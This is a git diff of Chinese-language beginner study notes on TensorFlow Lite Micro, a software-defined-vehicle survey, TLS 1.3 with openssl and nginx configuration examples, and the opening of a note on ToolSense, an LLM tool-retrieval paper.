+  // 只注册本图需要的算子 —— 对应论文「最小化链接体积」
+  static tflite::MicroMutableOpResolver<1> resolver;
+  resolver.AddFullyConnected();
+
+  // 应用提供的 arena；大小需 ≥ Memory Planner 规划结果
+  constexpr int kTensorArenaSize = 2048;
+  alignas(16) uint8_t tensor_arena[kTensorArenaSize];
+
+  tflite::MicroInterpreter interpreter(
+      model, resolver, tensor_arena, kTensorArenaSize, &error_reporter);
+
+  // 初始化阶段一次性分配；之后 Invoke 不再 malloc
+  if (interpreter.AllocateTensors() != kTfLiteOk) return;
+
+  TfLiteTensor* input = interpreter.input(0);
+  TfLiteTensor* output = interpreter.output(0);
+
+  input->data.f[0] = 1.0f;
+  if (interpreter.Invoke() != kTfLiteOk) return;
+
+  float sin_1 = output->data.f[0];  // 应接近 sin(1) ≈ 0.841
+}
+```
+
+**int8 模型**时改为读取 `output->data.int8[i]`，并用 `output->params.scale` 与 `zero_point` 反量化到浮点便于调试。
+
+## 论文评估：开销真的小吗？
+
+第 5 节在两类极端平台上测了 **Visual Wake Words（VWW）** 人形检测与 **Google Hotword** 模型（INT8 FlatBuffer）：
+
+| 平台 | 模型 | 参考内核周期 | 优化内核周期 | 解释器开销 |
+|------|------|-------------|-------------|-----------|
+| SparkFun Edge (Cortex-M4 @96MHz) | VWW | ~19.0M | ~4.9M（CMSIS-NN **>4×**） | **<0.1%** |
+| 同上 | Hotword | 45.1K | 36.4K | ~3–4% |
+| Xtensa HiFi Mini DSP @10MHz | VWW | ~387M | ~50M（**~7.7×**） | **<0.1%** |
+
+内存方面（表 3 量级）：
+
+- 解释器本体 **<2 KB**。
+- 小模型（Hotword、简单卷积参考网）框架总占用约 **≤13 KB**。
+- 较大的 VWW 约 **26.5 KB**（仍远小于手机端 TFLite 假设）。
+
+这些数字说明论文主张成立：**在 TinyML 里，选对算子内核比争论解释器 vs 编译器更重要**；解释器换来的是跨芯片、可 OTA 换模型的灵活性。
+
+## 与手机端 TensorFlow Lite 的关系
+
+| 特性 | TensorFlow Lite（手机/边缘 Linux） | TensorFlow Lite Micro |
+|------|-----------------------------------|------------------------|
+| 动态形状 | 支持 | 固定形状，规划在初始化完成 |
+| 内存 | 可用系统堆 | 仅 arena，无 `malloc` |
+| 模型加载 | 文件、内存映射 | 通常 C 数组嵌 Flash |
+| 算子集 | ~130 | 进一步裁剪 + 手动 Resolver |
+| 线程 | 较完整 | 框架不包线程；可多 interpreter 实例 |
+
+若设备跑 Linux（树莓派等），一般用标准 LiteRT/TFLite 更合适；**Cortex-M、ESP32、裸机 DSP** 才是 TFLM 主场。本仓库项目笔记见 [[projects/tflite-micro]]，Arm 内核加速见 [[projects/cmsis-nn]]。
+
+## 论文仍留下的开放问题
+
+论文坦诚若干局限，适合作为延伸阅读方向：
+
+- 构建系统早期依赖 Makefile + 杂糅 Python 生成工程文件，维护成本高。
+- FlatBuffer C++ 访问器要求 **C++11**，曾迫使部分厂商升级工具链。
+- 算子语义缺乏统一规范，导出失败时错误信息对「只负责部署的工程师」不友好。
+- TinyML 基准仍年轻；论文采用 TinyMLPerf / MCUNet 相关模型。
+
+## 零基础学习路线建议
+
+1. **概念**：记住「训练在 PC、推理在 MCU、中间是 `.tflite` + arena」。
+2. **动手**：跑通 Hello World（sin 回归）→ 把 `tensor_arena` 改小观察 `AllocateTensors` 失败 → 换 int8 模型。
+3. **读论文图**：图 2（模块关系）、图 3（双栈 arena）、图 4（内存复用）各花 10 分钟。
+4. **进阶**：在同一 arena 上挂两个模型（multitenancy）；打开 `TAGS=cmsis-nn` 对比周期数。
+
+## 小结
+
+TensorFlow Lite Micro 论文的核心贡献，是把 TinyML 的工程问题讲清楚并给出一套**可复现的实现哲学**：在缺少 OS 与动态内存的世界里，用**解释器 + FlatBuffer + 静态内存规划 + 可替换内核**，把深度学习的适用范围推到数十亿计的最小芯片上。它不是缩小版的 TensorFlow，而是**为「没有 malloc 的便利店分店」重写的放映机**——理解这一点，就抓住了这篇 MLSys 论文与整个 TinyML 运动的主线。
+
+## 参考
+
+- 论文：[TensorFlow Lite Micro: Embedded Machine Learning on TinyML Systems](https://arxiv.org/abs/2010.08678)（v3, 2021-03-13）
+- 会议：MLSys 2021
+- 源码演进：[tensorflow/tflite-micro](https://github.com/tensorflow/tflite-micro)（社区亦称 LiteRT for Microcontrollers）
+- 相关笔记：[[projects/tflite-micro]]、[[projects/cmsis-nn]]、[[papers/zephyr-rtos-overview]]
diff --git a/src/content/docs/papers/the-rise-of-the-software-defined-vehicle-architectures-survey-arxiv-2605-30001.md b/src/content/docs/papers/the-rise-of-the-software-defined-vehicle-architectures-survey-arxiv-2605-30001.md
new file mode 100644
index 000000000..118c9e551
--- /dev/null
+++ b/src/content/docs/papers/the-rise-of-the-software-defined-vehicle-architectures-survey-arxiv-2605-30001.md
@@ -0,0 +1,317 @@
+---
+title: The Rise of the Software-Defined Vehicle — 零基础学习笔记
+来源: https://arxiv.org/abs/2605-30001
+日期: 2026-06-13
+分类: 操作系统
+子分类: 嵌入式与 IoT
+provenance: pipeline-v3
+---
+
+# The Rise of the Software-Defined Vehicle
+
+> arXiv:2605.30001 | 作者: Eirini Liotou, Dimitra Tzelalidou, Gerasimos Christodoulou (Harokopio University of Athens) | 投稿至 IEEE Open Journal of Vehicular Technology
+
+---
+
+## 一、这篇文章在讲什么
+
+### 1.1 一个日常类比
+
+想象你以前买过一台老式收音机。它能调频、能听电台，功能在购买时就定死了——除非你花钱去修车行，拆下里面的零件换一个新的收音机主板。
+
+现在你买了一部智能手机。它的硬件（摄像头、屏幕、芯片）是固定的，但你可以通过安装 App、系统更新，让它获得拍照修图、导航、语音助手等新功能。甚至今天下载一个 App，明天删掉它，手机本身没有变，但你的使用体验完全变了。
+
+**Software-Defined Vehicle（软件定义汽车，简称 SDV）就是这个逻辑在汽车上的应用。**
+
+过去，汽车的功能靠硬件决定：装了ABS刹车防抱死系统，就有 ABS；没装就没有。想加新功能？要去4S店升级硬件。
+
+现在，汽车的核心变成了软件。硬件（传感器、芯片）是基础，但真正决定汽车能做什么的，是运行在上面的一系列软件。你想加自动泊车？下载一个软件模块就行。你想让车机屏幕更漂亮？推送一个 OTA 升级包。
+
+### 1.2 核心问题
+
+这篇论文是一篇**综述（Survey）**。它不提出某个具体的新技术，而是系统地梳理了整个"软件定义汽车"领域：
+
+- 汽车架构是怎么从"硬件为中心"演进到"软件为中心"的？
+- 支撑 SDV 的关键技术有哪些？
+- SDV 能用在哪些场景？
+- 面临哪些挑战？
+- 未来方向是什么？
+
+---
+
+## 二、核心概念
+
+### 2.1 什么是 SDV（软件定义汽车）
+
+论文给出了一套综合定义：
+
+> SDV 是一种车载解决方案，它允许通过软件来管理和抽象硬件组件，构建具有集中式控制的可扩展架构。所有车载软件组件必须支持 OTA（空中下载）更新，并满足高安全性和可靠性标准。
+
+拆解成 6 个关键特征：
+
+1. **软件为中心**：所有物理组件（引擎、传感器、处理器）都由软件管理和控制
+2. **集中式控制**：一辆车有一个高性能中央计算机，协调所有子系统
+3. **OTA 更新**：通过无线连接远程升级软件，实现持续优化和新功能
+4. **软硬件解耦**：软件与硬件独立演化，各自有不同的开发周期
+5. **可扩展性**：通过云平台扩展存储和计算资源
+6. **安全与可靠**：满足 ISO 26262（功能安全）和 ISO/SAE 21434（网络安全）标准
+
+---
+
+### 2.2 汽车架构的四代演进
+
+这是论文最重要的脉络之一。你可以把它想象成计算机从"打孔卡片"进化到"现代操作系统"的过程。
+
+| 架构 | 类比 | 特点 | 问题 |
+|------|------|------|------|
+| 分布式 ECU | 每台设备独立运行 | 每个功能一个独立控制器 | 上百个控制器，线束复杂到像蜘蛛网 |
+| 域控制器 | 按功能分组 | 动力、底盘、座舱各自一个域控制器 | 域之间沟通仍然复杂 |
+| 区域架构 | 按位置分组 | 车身前左、后右等区域各有一个区域控制器 | 需要高速通信骨干网 |
+| 集中式 SDV | 一台超级计算机 | 中央计算平台统一管理 | 算力、散热、安全要求极高 |
+
+**关键转变**：从"每个功能一个硬件盒子"到"一台超级计算机运行所有软件"。
+
+---
+
+### 2.3 感知硬件：汽车的眼睛和耳朵
+
+SDV 依赖多种传感器来感知环境：
+
+- **摄像头**：看得最清楚，但怕黑和雨
+- **雷达**：能测距和速度，不受天气影响
+- **激光雷达（LiDAR）**：3D 空间映射精度最高，但最贵
+- **超声波传感器**：短距离探测，泊车用
+- **GNSS/IMU**：定位和运动估计
+
+这些传感器就像人的五官，但比人眼、人耳更精准——而且它们的数据全部交给软件来处理。
+
+---
+
+### 2.4 软件架构的三层结构
+
+SDV 的软件架构分为三层：
+
+1. **操作系统层（OS）**：管理硬件资源，类似于 Windows/Linux
+2. **中间件层（Middleware）**：连接操作系统和应用程序，负责进程间通信、数据共享
+3. **服务导向架构层（SOA）**：把功能拆成独立的服务模块，可以独立升级
+
+SOA 是最关键的创新。想象一个餐厅：传统模式是每位厨师独立负责一道菜；SOA 模式是把厨房拆成"切菜组""炒菜组""装盘组"，每个组是独立的服务，可以单独优化和替换。
+
+---
+
+### 2.5 OTA 更新
+
+OTA（Over-the-Air，空中下载）是 SDV 的核心能力。类比手机系统升级：
+
+```
+出厂状态          OTA 推送          安装重启          新状态
+┌──────────┐  ┌─────────────┐  ┌─────────────┐  ┌──────────┐
+│ 功能 A    │  │ 推送补丁 B  │  │ 验证 + 安装 │  │ 功能 A    │
+│ 功能 B    │→│ 新功能 C    │→│ A/B 分区切换 │→│ 功能 B    │
+│ 功能 C    │  │ 安全修复    │  │ 确认成功    │  │ 新功能 C  │
+└──────────┘  └─────────────┘  └─────────────┘  │ 安全修复  │
+                                                 └──────────┘
+```
+
+与传统方式的区别：不需要去 4S 店，车主在停车场充电时，后台就推完了。
+
+---
+
+### 2.6 SDIoV：软件定义车联网
+
+SDV 是单辆车，SDIoV（Software-Defined Internet of Vehicles）是整个车与车之间的网络。它把 SDN（软件定义网络）技术引入车联网：
+
+- 传统车联网：每辆车独立决策，信息传递慢
+- SDIoV：中央控制器统一管理所有车辆的网络流量，动态分配资源，像智能交通指挥中心
+
+---
+
+## 三、代码示例
+
+### 3.1 示例一：SOA 风格的汽车功能定义
+
+在 SDV 中，每个汽车功能被建模为一个"服务"。以下伪代码展示了一个"自动泊车服务"如何通过 SOA 架构被定义和调用：
+
+```python
+# 定义一个"自动泊车服务"
+class AutoParkingService:
+    def __init__(self, sensors, actuators, hpc):
+        self.sensors = sensors      # 摄像头、超声波传感器
+        self.actuators = actuators  # 转向、刹车、油门
+        self.hpc = hpc              # 高性能计算单元
+
+    def start_parking(self, parking_spot):
+        """
+        启动自动泊车：
+        1. 调用感知服务定位车位
+        2. 调用规划服务计算路径
+        3. 调用控制服务执行转向/制动
+        """
+        # 第一步：感知 — 调用环境感知服务
+        surroundings = self.hpc.call_service(
+            service_name="PerceptionService",
+            input={"sensor_data": self.sensors.capture()}
+        )
+        spot_found = surroundings.detect_parking_spot(parking_spot)
+
+        # 第二步：规划 — 调用路径规划服务
+        trajectory = self.hpc.call_service(
+            service_name="PathPlanningService",
+            input={
+                "current_pos": surroundings.get_vehicle_position(),
+                "target": spot_found,
+                "obstacles": surroundings.get_obstacles()
+            }
+        )
+
+        # 第三步：控制 — 调用车辆控制服务
+        self.hpc.call_service(
+            service_name="VehicleControlService",
+            input={"trajectory": trajectory, "actuators": self.actuators}
+        )
+
+        return {"status": "parked", "spot": spot_found}
+```
+
+**解读**：
+
+- 传统的汽车代码是"硬编码"的：感知、规划、控制全部耦合在一起，改一个功能要动全局
+- SOA 方式：每个功能是一个独立服务。泊车服务只需要"调用"其他服务，不需要自己实现感知或规划
+- 这就像手机 App 调用 API：微信不需要自己写地图渲染引擎，它调用高德地图的 API 就行
+
+---
+
+### 3.2 示例二：OTA 更新流程
+
+以下伪代码展示了一个 SDV 的 OTA 更新流水线：
+
+```python
+# 模拟一个 OTA 更新系统
+class OTAUpdateSystem:
+    def __init__(self, vehicle_id, secure_element):
+        self.vehicle_id = vehicle_id
+        self.secure = secure_element       # 安全加密模块
+        self.current_version = "v3.1.0"
+
+    def receive_update(self, update_package):
+        """
+        步骤 1: 接收云端推送的更新包
+        步骤 2: 验证签名确保来源可信
+        步骤 3: 下载并存储到备用分区
+        步骤 4: 验证完整性
+        步骤 5: 请求用户或自动安装
+        """
+        print(f"[{self.vehicle_id}] 收到更新包: {update_package.name}")
+
+        # 验证签名
+        if not self.secure.verify_signature(
+            update_package.hash,
+            update_package.signature
+        ):
+            print("[安全] 签名验证失败，丢弃更新")
+            return False
+
+        # 存储到 A/B 分区的备用分区（B 分区）
+        self._write_to_backup_partition(update_package)
+        print(f"[{self.vehicle_id}] 更新已存储到备用分区")
+
+        # 完整性校验
+        if not self._verify_integrity(update_package):
+            print("[安全] 完整性校验失败，回滚")
+            return False
+
+        # 触发安装（A/B 分区切换）
+        self._switch_partition(update_package.new_version)
+        print(f"[{self.vehicle_id}] 已切换到新版本: {update_package.new_version}")
+
+        return True
+
+    def _switch_partition(self, new_version):
+        """A/B 分区切换：重启后使用新系统"""
+        print(f"[系统] 准备重启并切换至 B 分区...")
+        print(f"[系统] 新版本 {new_version} 即将生效")
+        # 实际中这里是底层 bootloader 的分区切换操作
+
+# 使用示例
+ota = OTAUpdateSystem(vehicle_id="VIN-1234567890", secure_element=SecureModule())
+update = OTAUpdate(
+    name="autopilot_v4.0.1",
+    hash="sha256:abc123...",
+    signature="RSA-SIGN-...",
+    new_version="v4.0.1"
+)
+ota.receive_update(update)
+```
+
+**解读**：
+
+- **A/B 分区**：车子有两套系统，一套在跑（A），另一套（B）用来装更新。安装完成后重启，切换到 B 分区。如果 B 分区出问题，自动切回 A，保证车不会变砖
+- **签名验证**：确保更新包是车企官方发的，不是黑客伪造的
+- **完整性校验**：确保下载过程没出错、数据没损坏
+
+---
+
+## 四、SDV 的应用场景
+
+论文将 SDV 的应用分为 7 大类：
+
+1. **安全关键应用**：自动紧急制动、车道保持等，需要极高的可靠性
+2. **辅助/自动驾驶**：从 L2 到 L4 的渐进式自动驾驶
+3. **互联与协作驾驶**：车与车（V2V）、车与基础设施（V2I）实时通信
+4. **车载信息娱乐**：智能座舱、多屏交互、流媒体
+5. **车队管理**：物流公司管理整个车队的状态、路线、能耗
+6. **出行即服务（MaaS）**：共享出行、无人驾驶出租车
+7. **AI 驱动的应用**：车内 AI 助手、个性化驾驶习惯学习
+
+---
+
+## 五、关键技术挑战
+
+### 5.1 网络安全
+
+SDV 连上了网络，就等于敞开了大门。攻击者可能：
+
+- 远程劫持车辆控制
+- 窃取用户隐私数据
+- 通过 OTA 通道植入恶意软件
+
+论文强调：安全必须是设计之初就考虑的（Security by Design），而不是事后补救。
+
+### 5.2 数据管理
+
+一辆 L4 自动驾驶汽车每天产生 **10TB 以上**的数据。如何处理、存储、传输这些数据本身就是巨大的工程挑战。
+
+### 5.3 互操作性与标准化
+
+不同车企、不同供应商的软件组件如何协作？目前缺乏统一标准，就像早期每种手机充电接口都不一样。
+
+### 5.4 能量效率
+
+中央计算平台算力强大，但功耗也高。如何在算力和能耗之间找到平衡？
+
+---
+
+## 六、未来方向
+
+论文提到了几个值得关注的方向：
+
+1. **数字孪生**：在虚拟世界中完整复制一辆车，提前测试所有可能的情况
+2. **联邦学习**：多辆车在保护隐私的前提下协作训练 AI 模型
+3. **AI 定义的汽车**：AI 不仅辅助驾驶，还定义车辆本身的行为和功能
+4. **主动网络安全**：不是被动防御，而是主动预测和拦截攻击
+
+---
+
+## 七、总结
+
+| 维度 | 传统汽车（HDV） | 软件定义汽车（SDV） |
+|------|----------------|-------------------|
+| 功能定义 | 硬件决定 | 软件定义 |
+| 升级方式 | 去 4S 店改硬件 | OTA 远程推送 |
+| 架构 | 上百个独立 ECU | 一台中央超级计算机 |
+| 开发模式 | 一次性交付 | 持续迭代，终身可用 |
+| 商业模式 | 卖车即结束 | 卖车只是开始 |
+
+**一句话理解 SDV**：汽车从"出厂即定型"的机械产品，变成了"终身进化"的智能平台。就像功能手机变成智能手机。
+
+这篇论文的价值在于它**系统性地把整个 SDV 领域串起来了**——从硬件到软件、从单车到车联网、从现在到未来——对想要从零了解 SDV 的人是一个非常全面的学习起点。
diff --git a/src/content/docs/papers/tls-1-3-rfc8446.md b/src/content/docs/papers/tls-1-3-rfc8446.md
new file mode 100644
index 000000000..1784e0356
--- /dev/null
+++ b/src/content/docs/papers/tls-1-3-rfc8446.md
@@ -0,0 +1,244 @@
+---
+title: TLS 1.3 (RFC 8446) — 更快、更简、默认前向保密的 HTTPS 握手
+来源: https://datatracker.ietf.org/doc/html/rfc8446
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 是什么
+
+TLS（Transport Layer Security，传输层安全）是**让 HTTP 变成 HTTPS 的那层加密**。日常类比：你在明信片上写银行卡密码，任何人路过都能看——TLS 相当于把信装进**带一次性密码锁的信封**：只有收信人和你各有一把钥匙，路上谁拆都读不出；而且每次寄信换一把新锁，旧锁就算被复制也打不开下一封。
+
+RFC 8446 在 2018 年 8 月发布，定义 **TLS 1.3**。相对 TLS 1.2（RFC 5246），它不是小修小补，而是**删掉大量历史包袱、重写握手流程**的一次大版本。今天 Chrome、Firefox、Safari 访问主流 HTTPS 站点，底层协商到的版本多半就是 1.3。
+
+一句话：TLS 1.3 = **1 次往返建连（1-RTT）+ 可选 0-RTT 重连 + 只保留现代密码套件 + 握手后半段全加密**。
+
+## 为什么重要
+
+不理解 TLS 1.3，下面这些现象都解释不清：
+
+- 为什么同样访问 `https://example.com`，TLS 1.3 比 1.2 **少等一轮网络延迟**（在跨洋链路上可能是 100ms+）
+- 为什么安全扫描报告里 **RSA 密钥交换、CBC 模式、3DES** 会被标红——TLS 1.3 里它们已被**彻底移除**
+- 为什么「会话恢复 / 0-RTT」能加速回访用户，但支付接口要**关掉 0-RTT**（重放攻击风险）
+- 为什么 Wireshark 抓 TLS 1.3 包时，**Certificate 之后的内容全是密文**——1.3 从 ServerHello 之后就开始加密
+
+## TLS 1.2 vs 1.3：握手对比
+
+| 维度 | TLS 1.2（典型） | TLS 1.3 |
+|------|----------------|---------|
+| 完整握手 RTT | 2 RTT（TCP 另计） | **1 RTT** |
+| 会话恢复 | Session ID / Ticket，常见 1 RTT | **PSK 模式**，可 **0-RTT** |
+| 密钥交换 | RSA、静态 DH、ECDHE 等混杂 | **仅 (EC)DHE**，一律前向保密 |
+| 对称加密 | CBC + HMAC 或 AEAD | **仅 AEAD**（AES-GCM、ChaCha20-Poly1305 等） |
+| 握手可见性 | Certificate、部分扩展明文 | **ServerHello 之后加密** |
+| 降级攻击面 | 较大（协商复杂） | **supported_versions** 等机制收紧 |
+
+日常类比升级：TLS 1.2 像进大楼要**前台登记 → 领访客证 → 安检 → 进电梯**四步；TLS 1.3 把登记和领证合并，且从领证开始后面的对话都在隔音室里进行。
+
+## 核心概念
+
+### 1. 1-RTT 完整握手
+
+客户端在第一条 `ClientHello` 里就带上 **key_share**（例如 X25519 或 P-256 的 ECDHE 公钥），不再等服务器说「我支持哪种曲线」再发。服务器选定参数后，在 **ServerHello** 里回自己的 key_share，双方立刻能算出 **shared secret**，并派生会话密钥。
+
+典型消息流（简化）：
+
+```text
+Client                                    Server
+  | ClientHello + key_share                  |
+  |----------------------------------------->|
+  |            ServerHello + key_share       |
+  |            {EncryptedExtensions}         |
+  |            {CertificateRequest?}         |
+  |            {Certificate + CertificateVerify}
+  |            {Finished}                    |
+  |<-----------------------------------------|
+  | {Finished}                               |
+  |----------------------------------------->|
+  |<=========== 应用数据（AEAD 加密）=========>|
+```
+
+花括号 `{}` 表示 **TLS 1.3 加密保护**的记录；1.2 里 Certificate 等多为明文。
+
+### 2. 密钥派生（Key Schedule）
+
+TLS 1.3 用 **HKDF**（HMAC-based KDF）从 shared secret 逐级派生：
+
+- **Early Secret** — 与 0-RTT / PSK 相关
+- **Handshake Secret** — 保护握手消息
+- **Master Secret** → **traffic secrets** — 客户端/服务器各方向的 **application data** 密钥
+
+每个阶段用不同 **label**（如 `derived`、`c hs traffic`、`c ap traffic`），避免密钥混用。类比：同一把主钥匙在不同楼层复制出**只能开对应门**的子钥匙。
+
+### 3. AEAD 记录层
+
+记录格式：`opaque_type || legacy_record_version || length || encrypted_payload`。
+
+payload 解密后得到：`inner_plaintext || content_type || padding`。**content_type** 藏在密文里，外部观察者更难从流量形态推断是握手还是应用数据（Traffic analysis 仍可能，但比 1.2 难）。
+
+常用套件示例：
+
+- `TLS_AES_128_GCM_SHA256`
+- `TLS_AES_256_GCM_SHA384`
+- `TLS_CHACHA20_POLY1305_SHA256`
+
+### 4. PSK 会话恢复与 0-RTT
+
+首次完整握手结束后，双方可导出 **resumption master secret**，服务器发给客户端 **NewSessionTicket**（或外部 PSK）。下次连接时：
+
+- **1-RTT PSK 模式**：ClientHello 带 `pre_shared_key`，握手仍走 1 RTT，但跳过完整证书验证路径（仍要 Finished）。
+- **0-RTT 模式**：ClientHello **同 flight 发送 early data**（用 PSK 派生的 early traffic secret 加密）。
+
+RFC 8446 对 0-RTT 的警告（必须知道）：
+
+1. **无 forward secrecy** — early data 只受 PSK 保护，PSK 泄露则历史 0-RTT 可读。
+2. **无跨连接防重放** — 攻击者可重放 early data 包；**不能**用于非幂等操作（POST 下单、转账）。
+
+实践：Nginx / Cloudflare 常默认或可选开启 0-RTT，但 **API 写操作** 应在应用层禁用或拒绝 early data。
+
+### 5. 删除的不安全特性
+
+TLS 1.3 **移除**（不再协商）：
+
+- RSA 密钥传输（无 forward secrecy）
+- 静态 DH/RSA  cipher suites
+- CBC 模式套件（BEAST、Lucky13 等历史问题）
+- 压缩（CRIME）
+- 重新协商（renegotiation）—— 改为 **KeyUpdate** 机制更新密钥
+- 自定义 DH 参数（减轻弱参数攻击）
+
+### 6. 版本与降级保护
+
+`ClientHello.legacy_version` 常为 `0x0303`（表示 TLS 1.2）以兼容中间盒，真实版本在 **supported_versions** 扩展里声明 **0x0304**（TLS 1.3）。服务器若不支持 1.3，可回退 1.2，但 1.3 实现会在 **ServerHello.random** 里嵌入特殊模式防 **降级攻击**（Downgrade Protection）。
+
+## 实践案例
+
+### 案例 1：用 OpenSSL 查看站点是否协商 TLS 1.3
+
+```bash
+# 强制 TLS 1.3，查看协议与套件
+openssl s_client -connect example.com:443 -tls1_3 -brief </dev/null 2>/dev/null
+
+# 典型输出片段：
+# Protocol version: TLSv1.3
+# Ciphersuite: TLS_AES_256_GCM_SHA384
+# Peer signature type: ECDSA
+# Verification: OK
+```
+
+若服务器只支持 1.2，上述命令会失败；去掉 `-tls1_3` 让客户端自动协商：
+
+```bash
+echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \
+  | openssl x509 -noout -subject -dates
+# 同时看握手日志里的 "Protocol  : TLSv1.3"
+```
+
+**SNI**（`-servername`）在虚拟主机场景必须带，否则连到默认证书。
+
+### 案例 2：Nginx 启用 TLS 1.3 并控制 0-RTT
+
+```nginx
+server {
+    listen 443 ssl http2;
+    server_name example.com;
+
+    ssl_certificate     /etc/ssl/example/fullchain.pem;
+    ssl_certificate_key /etc/ssl/example/privkey.pem;
+
+    # OpenSSL 1.1.1+ / BoringSSL / quictls 等
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_prefer_server_ciphers off;
+
+    # 0-RTT：加速回访，但写接口要评估重放风险
+    ssl_early_data on;
+
+    location / {
+        proxy_pass http://127.0.0.1:8080;
+        # 若 upstream 不支持 early data，需显式传递或关闭
+        proxy_set_header Early-Data $ssl_early_data;
+    }
+
+    # 对非幂等 API 拒绝 early data（示例）
+    location /api/ {
+        if ($ssl_early_data = "1") {
+            return 425;  # Too Early (RFC 8470)
+        }
+        proxy_pass http://127.0.0.1:8080;
+    }
+}
+```
+
+`425 Too Early` 是 HTTP 语义，告诉客户端「这批 0-RTT 请求我不收，请完整握手后再 POST」。
+
+### 案例 3：Python 客户端指定最低 TLS 1.3
+
+```python
+import ssl
+import urllib.request
+
+ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+ctx.minimum_version = ssl.TLSVersion.TLSv1_3
+ctx.check_hostname = True
+ctx.load_default_certs()
+
+with urllib.request.urlopen("https://example.com", context=ctx) as resp:
+    cipher = resp.fp.raw._sock.cipher()
+    print("negotiated:", cipher)  # 例如 ('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
+```
+
+服务端（`asyncio` / `ssl` 模块）同样设置 `ssl.OP_NO_TLSv1_2` 或 `minimum_version = TLSv1_3` 可强制仅 1.3——适合内部 mTLS，公网站点通常保留 1.2 过渡。
+
+### 案例 4：Node.js 观察协商结果
+
+```javascript
+import https from 'node:https';
+
+https.get('https://example.com', { minVersion: 'TLSv1.3' }, (res) => {
+  const sock = res.socket;
+  console.log(sock.getProtocol()); // 'TLSv1.3'
+  console.log(sock.getCipher());   // { name: 'TLS_AES_256_GCM_SHA384', ... }
+});
+```
+
+## 与相邻技术的关系
+
+- **HTTP/2 / HTTP/3**：TLS 1.3 是 HTTPS 的默认加密层；HTTP/3 基于 QUIC，内置 TLS 1.3（QUIC-TLS，RFC 9001），握手思路一致。
+- **mTLS**：双向证书仍支持；`CertificateRequest` 可在加密握手内发出。
+- **HSTS**：应用层强制 HTTPS，与 TLS 版本正交，但一起构成「只走加密通道」策略。
+- **Let's Encrypt / ACME**：证书自动化普及后，TLS 1.3 的 ECDSA 证书 + 1-RTT 成为公网默认体验。
+
+## 常见误区
+
+| 误区 | 事实 |
+|------|------|
+| 「TLS 1.3 绝对比 1.2 安全，所以 1.2 必须立刻关」 | 配置得当的 1.2（仅 ECDHE + AEAD）仍可用；1.3 的价值是**减攻击面 + 降延迟** |
+| 「0-RTT 和 1-RTT 一样安全」 | 0-RTT **无 forward secrecy**，且**可被重放** |
+| 「抓包能看到 Certificate 里的域名」 | ClientHello 里 SNI 常明文；1.3 证书在加密握手内，但 SNI 仍可能泄露访问域名 |
+| 「TLS 加密了就不用管应用层」 | TLS 只保护传输；服务器被攻破、客户端恶意软件、日志明文仍是大坑 |
+
+## 动手清单（零基础自检）
+
+1. 用 `openssl s_client -tls1_3` 测三个常用站点，记录套件是否 ChaCha20 或 AES-GCM。
+2. 用浏览器 DevTools → Security 面板看「Connection protocol: TLS 1.3」。
+3. 读自己服务器 `ssl_protocols` / 云 LB 策略，确认 1.3 已开、弱套件已关。
+4. 若有 POST API 且开了 0-RTT，确认是否返回 425 或网关层禁用 early data。
+
+## 总结
+
+RFC 8446 把 TLS 从「兼容二十年历史的瑞士军刀」收成「**默认前向保密、只走 AEAD、握手尽量短**」的现代协议。记住三条就够：
+
+1. **完整建连 1-RTT** — 客户端 proactive 发 key_share。
+2. **重连可 0-RTT** — 快，但有重放与前向保密代价，写操作慎用。
+3. **密码套件大幅瘦身** — 少协商就少犯错，实现和审计都更简单。
+
+下一步可衔接：RFC 9001（QUIC-TLS）、RFC 8470（HTTP 425 Too Early）、以及 OpenSSL `SSL_CTX_set_max_early_data` 等 0-RTT 配额控制。
+
+## 参考资料
+
+- [RFC 8446 — The Transport Layer Security (TLS) Protocol Version 1.3](https://datatracker.ietf.org/doc/html/rfc8446)
+- [RFC 8446 §2.3 — 0-RTT Data 安全说明](https://datatracker.ietf.org/doc/html/rfc8446#section-2.3)
+- [RFC 8470 — Using Early Data in HTTP](https://datatracker.ietf.org/doc/html/rfc8470)
+- [Cloudflare — A Detailed Look at RFC 8446](https://blog.cloudflare.com/rfc-8446-aka-tls-1-3/)
diff --git a/src/content/docs/papers/tomita-glr.md b/src/content/docs/papers/tomita-glr.md
index 869faf187..8d977fa13 100644
--- a/src/content/docs/papers/tomita-glr.md
+++ b/src/content/docs/papers/tomita-glr.md
@@ -160,4 +160,5 @@ tree-sitter 用 GLR 思路 + 增量更新。当你在 `func(a, b` 后还没敲 `
 - [[knuth-lr-1965]] —— Knuth LR(k) — 编译器自己读懂语法的算法
 - [[lalr-deremer]] —— DeRemer LALR(1) — 把 LR 表压到能用大小
 - [[pottier-merr]] —— Pottier LR(1) Reachability — 让 LR 解析器的错误消息覆盖完整
+- [[tree-sitter-2018]] —— Tree-sitter — 增量式解析系统
 
diff --git a/src/content/docs/papers/tool-sense.md b/src/content/docs/papers/tool-sense.md
new file mode 100644
index 000000000..0aa8f940d
--- /dev/null
+++ b/src/content/docs/papers/tool-sense.md
@@ -0,0 +1,168 @@
+---
+title: ToolSense: A Diagnostic Framework for Auditing Parametric Tool Knowledge in LLMs
+来源: https://arxiv.org/abs/2606.12451
+日期: 2026-06-13
+分类: 机器学习
+子分类: 工具学习
+provenance: pipeline-v3
+---
+
+# ToolSense — 让 LLM 真正"懂"它的工具
+
+## 从日常类比开始
+
+想象你去一家大型连锁超市当收银员。入职培训做了两周，背诵了所有商品的条码和价格。考核那天，经理给你一张写满商品名的清单，清单上每个商品名都写得清清楚楚——"农夫山泉饮用天然水550ml一瓶"——你闭着眼都能扫对。
+
+你觉得自已很厉害，对吧？
+
+但有一天，一位顾客跑过来急匆匆说："给我一瓶水，要那种最常见的，矿物质的。"你愣在原地了——你不知道哪一瓶是"常见"的矿泉水，"常见"的标准是什么。其实你背过所有条码，但你从未被训练过理解这种模糊的日常语言。
+
+这就是 ToolSense 这篇论文要揭示的问题。
+
+## 问题背景
+
+现在大语言模型（LLM）经常被部署成"智能体"（agent），让它去一个拥有成千上万个工具的工具目录里检索合适的工具来完成任务。这就像让收银员在几万种商品里快速找出正确的条码。
+
+目前主流有两种检索方式：
+
+1. **嵌入模型检索**（embedding-based）：把一个向量压缩编码，靠相似度匹配工具。缺点是对专业语义捕捉不够深。
